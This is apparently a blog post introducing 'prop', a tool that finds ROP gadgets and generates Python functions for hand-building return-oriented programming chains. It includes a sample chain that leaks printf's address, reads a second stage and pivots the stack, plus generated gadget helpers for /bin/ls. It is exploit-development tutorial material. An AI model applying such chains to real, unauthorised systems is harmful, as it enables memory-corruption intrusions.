prop
is a tool to extract rop gadgets and generate python code that helps you create your rop chains automatically and by hand. This is a tool I developed while learning to exploit binaries using return oriented programming (ROP). It was a mostly for learning but it turned into something I’ve used ever since, and find very practical.
You can find it here: https://github.com/Vasco-jofra/prop
In the rest of this post I will explain how I write ROP chains and where I use prop
to help me do it faster.
Simple ROPs
For very simple ROP exploits, for example when we are given a statically linked binary or just a very large binary, the amount of gadgets makes it simple to exploit. In these situations I simply use ROPgadget
or a similar tool to automatically generate the rop chain. When the situation is tricker, that’s when I take advantage of prop
.
Manually writing ROPs
With less gadgets, we might have to write the ROP chain by hand. My typical exploits look something like this:
def set_rdi(rdi):
return "".join([
p64(0x400ab3), # ('pop rdi', 'ret') --> ['0x400ab3']
p64(rdi),
])
def set_rsi_r15(rsi, r15):
return "".join([
p64(0x400ab1), # ('pop rsi', 'pop r15', 'ret') --> ['0x400ab1']
p64(rsi),
p64(r15),
])
def set_rdx(rdx):
return "".join([
p64(0x4007cb), # ('pop rdx', 'ret') --> ['0x4007cb']
p64(rdx),
])
def set_rsp_r13_r14_r15(rsp, r13, r14, r15):
return "".join(
[
p64(0x400aad), # ('pop rsp', 'pop r13', 'pop r14', 'pop r15', 'ret') --> ['0x400aad']
p64(rsp),
p64(r13),
p64(r14),
p64(r15),
]
)
def pivot(addr):
return "".join([
set_rsp_r13_r14_r15(addr - (8 * 3), 0, 0, 0),
])
# This example is an exploit that leaks the address of printf and then reads a second ROP and pivots there
ROP = "".join([
# leak printf
set_rdi(1),
set_rsi_r15(elf.got['printf'], 0),
set_rdx(8),
p64(elf.plt['write']),
# Load the second ROP
set_rdi(0),
set_rsi_r15(rop_2_addr, 0),
set_rdx(rop_2_max_len),
p64(elf.plt['read']),
# Pivot to the second ROP
pivot(rop_2_addr),
p64(0xdeadbeef),
])
I’m not a big fan of writing exploits that look like this:
ROP = ""
# leak printf
ROP += p64(0x400ab3), # ('pop rdi', 'ret') --> ['0x400ab3']
ROP += p64(1),
ROP += p64(0x400ab1), # ('pop rsi', 'pop r15', 'ret') --> ['0x400ab1']
ROP += p64(elf.got['printf']),
ROP += p64(0),
ROP += p64(0x4007cb), # ('pop rdx', 'ret') --> ['0x4007cb']
ROP += p64(8),
ROP += p64(elf.plt['write']),
# Load the second ROP
ROP += p64(0x400ab3), # ('pop rdi', 'ret') --> ['0x400ab3']
ROP += p64(0),
# (...) and so on, you get the point
I prefer the higher abstraction of setting registers with these set_reg
functions instead of just writing the addresses inline every time. It makes it simpler to understand, debug and modify exploits.
prop
can generate these automatically! By running prop -c /bin/ls
you will get all these functions. This would be the output:
# [INFO] Extracting gadgets for the binary '/bin/ls'
# [INFO] Extracting gadgets from the executable section 0x40-0x238
# [INFO] Found 0 unique gadgets in 0.01 seconds at depth 10.
# [INFO] Skipped 0
# [INFO] Extracting gadgets from the executable section 0x0-0x1e6e8
# [INFO] Found 1687 unique gadgets in 2.18 seconds at depth 10.
# [INFO] Skipped 2145
####################
def set_rbx(rbx):
return "".join([
p64(0x60d0), # ('pop rbx', 'ret') --> ['0x60d0', '0x618a', '0x63fc']
p64(rbx),
])
def set_rbp_r14(rbp, r14):
return "".join([
p64(0x629a), # ('pop rbp', 'pop r14', 'ret') --> ['0x629a', '0x920c', '0xc639']
p64(rbp),
p64(r14),
])
# ...
# removed some for brevity
# ...
def set_rsp(rsp):
return "".join([
p64(0x6770), # ('pop rsp', 'ret') --> ['0x6770', '0x685a', '0x69e0']
p64(rsp),
])
def set_r12_r13_r14(r12, r13, r14):
return "".join([
p64(0x6297), # ('pop r12', 'pop r13', 'pop r14', 'ret') --> ['0x6297', '0x9209', '0xc636']
p64(r12),
p64(r13),
p64(r14),
])
####################
def syscall():
return p64(0x988) # ('syscall',) --> ['0x988']
# Other option: return p64(0xd352) # ('int 0x80',) --> ['0xd352', '0xf8c8', '0xf8d9']
####################
def write_what_where():
return "".join([
return p64(0x13602), # ('mov [rdi], edx', 'ret') --> ['0x13602', '0x13601']
# Other good option : return p64(0x135be), # ('mov [rdi], esi', 'ret') --> ['0x135be']
# No control of 'from': return p64(0xdb10), # ('mov [rdi], rcx', 'xor eax, eax', 'ret') --> ['0xdb10']
# No control of 'from': return p64(0xdb11), # ('mov [rdi], ecx', 'xor eax, eax', 'ret') --> ['0xdb11']
])
As you can see besides looking for set_reg
functions it will also try to find write-what-where
and syscall
gadgets which are also useful primitives.
Usage
prop -h
usage: prop [-h] [-d DEPTH] [-t] [-c] [-p] [-m MAX_ADDRS_PER_GADGET] [-s]
binary_path
positional arguments:
binary_path The binary path of the file to be analyzed
optional arguments:
-h, --help show this help message and exit
-d DEPTH, --depth DEPTH
Gadget search depth (default=10)
-t, --text_gadgets output gadgets in text format (default)
-c, --code output interesting gadgets found as python functions
-p, --python_gadgets output gadgets as a python dictionary
-m MAX_ADDRS_PER_GADGET, --max_addrs_per_gadget MAX_ADDRS_PER_GADGET
the maximum number of addresses that are printed per
gadget (default=3)
-s, --silent no gadgets output, just some info